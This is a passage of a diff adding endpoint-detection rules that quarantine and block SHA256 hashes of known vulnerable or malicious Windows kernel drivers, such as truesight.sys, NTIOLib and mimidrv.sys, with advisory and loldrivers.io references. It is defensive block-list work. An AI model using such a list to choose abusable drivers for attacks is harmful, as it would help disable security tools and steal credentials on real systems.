+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb74d5c1-f83a-5d3d-b7b1-0cf3fb02149d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616398Z",
+  "creation_date": "2026-03-23T11:45:29.616400Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616406Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "990165725debccea7ca15aa4ed7a0e3a2a25b4a72cb309a27c899bd0e4b5148f",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb8a86ef-bf0c-5305-ac30-57122fa59a8c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828047Z",
+  "creation_date": "2026-03-23T11:45:30.828049Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828054Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b4059ef4aced7c629f7ae56ac40c6bdcedc43fa9077990ee5994556de40c0f95",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fba0be65-8fd0-53c5-9649-639b2735b92b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812186Z",
+  "creation_date": "2026-03-23T11:45:31.812188Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812194Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85e24c00c5c5de599141a735c97d584da8bb39bbcd8f78447f7522866e90ac6a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fbaa4cc5-4f4f-5c15-80ae-bd7014370e92",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984675Z",
+  "creation_date": "2026-03-23T11:45:29.984677Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984683Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6071db01b50c658cf78665c24f1d21f21b4a12d16bfcfaa6813bf6bbc4d0a1e8",
+  "comment": "Vulnerable Kernel Driver (aka VBoxUSB.Sys) [https://www.loldrivers.io/drivers/5938df1d-9513-449f-8252-c442ddca0c2a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fbb51792-c97c-58e3-b0dd-053d169ddc97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831567Z",
+  "creation_date": "2026-03-23T11:45:30.831569Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831574Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba8cc319eac7d94be45bb67e8fe746da519fc457b0479621464b861eed80b360",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fbba39da-5cc1-510e-ad39-9be9f7e1f57d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828895Z",
+  "creation_date": "2026-03-23T11:45:30.828897Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828902Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b72ea6d11a53e4f4e094aa635b9c039f47093b0f722e88d2681d1270e8ef4698",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fbbe80ce-6f61-57c6-9ffe-e5122d6ccb44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978510Z",
+  "creation_date": "2026-03-23T11:45:29.978512Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978517Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "68dca726b16c56c70259c8f936ec20adb9ecb8c3cc73985083f41358c83935f4",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/a7628504-9e35-4e42-91f7-0c0a512549f4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fbe8c7be-3e4c-53b1-b933-0a3fb3e39cd1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156706Z",
+  "creation_date": "2026-03-23T11:45:31.156708Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156714Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a3ce27a2f733926e2666c7911efd01c2ab2e5d788aab5fe4e347c99ea2cb241",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fbf23471-f2ca-5fe7-a959-896d29c96c78",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614562Z",
+  "creation_date": "2026-03-23T11:45:29.614564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614570Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "50d5eaa168c077ce5b7f15b3f2c43bd2b86b07b1e926c1b332f8cb13bd2e0793",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fbfa9ab3-f36d-58f7-86b3-e5aa9695f89c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141095Z",
+  "creation_date": "2026-03-23T11:45:31.141098Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141106Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea21b449d1dea61c47d55ecc9981ab7c2959d6652907a303163600f67f58542a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc1e8d2b-e1f0-5273-9b1d-bc9a0379c31a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145755Z",
+  "creation_date": "2026-03-23T11:45:32.145757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145762Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f43b0b9a1d1445ba66e8370397cb22142439fa4062b7b05e30f9b26a370d767c",
+  "comment": "Malicious Kernel Driver (aka driver_668c5bea.sys) [https://www.loldrivers.io/drivers/04eefdf4-448d-45bb-87fc-93f263fc77f4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc30359b-bdac-53a9-a72d-0812411f6ab8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466972Z",
+  "creation_date": "2026-03-23T11:45:30.466975Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466985Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7b49579b74108e2418a6b401cd729e3fafe1c8ba1fe8434f73c8d0f1758b08d3",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc3362e1-7c3c-5445-9d07-d05024d5b7c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155136Z",
+  "creation_date": "2026-03-23T11:45:31.155138Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155144Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e0245a1671aaef05e6622fc3714cd12c2a462d671e7d5fc27dff521f7b990af",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc38f201-6e9c-54ee-a11e-368d06f001e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471318Z",
+  "creation_date": "2026-03-23T11:45:30.471322Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471330Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bdcacb9f373b017d0905845292bca2089feb0900ce80e78df1bcaae8328ce042",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/fbdd993b-47b1-4448-8c41-24c310802398/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc3cf96f-1b6b-5228-8543-5ab39a7d8a72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815490Z",
+  "creation_date": "2026-03-23T11:45:31.815492Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815498Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d2b85836b0888b91b3ad457d025d411bcc580c3bb74eadb8f3a5db87da94ebf0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc3efe2e-cc59-5263-abad-c17d7af26d3c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605285Z",
+  "creation_date": "2026-03-23T11:45:29.605287Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605293Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c97b5c4ed563047d79e7e015a691d00f06c3737ef156d1e5b4bdfe325b6f7d9",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc4a48b7-8ea0-5d9e-b5d9-17410fb4d17b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824915Z",
+  "creation_date": "2026-03-23T11:45:30.824919Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824928Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20e178dce3eff6e8a1c1cb1f70d669c3e5a5ef3fa5e961b14975fb69eec1f2d5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc4db004-c402-50d7-b753-80fec151d311",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604243Z",
+  "creation_date": "2026-03-23T11:45:29.604245Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604250Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93f787e33a663311a6a553db1c7d7e5b3f4cd20b0b7725b35dbd0dd67308cef4",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc5355c6-2e4f-59e4-a411-cc807cdf9a10",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604969Z",
+  "creation_date": "2026-03-23T11:45:29.604970Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604976Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2269f6117274297a63e149c6dac51bc3780fd1f64b111f5fa535e1d5718ebccf",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc5d492f-7c7f-54e5-bce4-ec16139e95c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489928Z",
+  "creation_date": "2026-03-23T11:45:31.489931Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489940Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "193d2589c7c929ad3dccc5c8cace740f018615c6d2f3f210e362de1abb06e5c6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc5f422e-4d08-5fe3-bc3f-5fa9a2b9614a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144176Z",
+  "creation_date": "2026-03-23T11:45:31.144177Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144183Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a5605d952927cc8cbfa504498e70585410bd3224c04fd5f57ab6586a4afb11f5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc662720-fa09-5f24-be58-45978b2757c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609702Z",
+  "creation_date": "2026-03-23T11:45:29.609704Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609709Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5351c81b4ec5a0d79c39d24bac7600d10eac30c13546fde43d23636b3f421e7c",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fc6adc50-9e4c-55c8-a42b-52186b5d3413",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
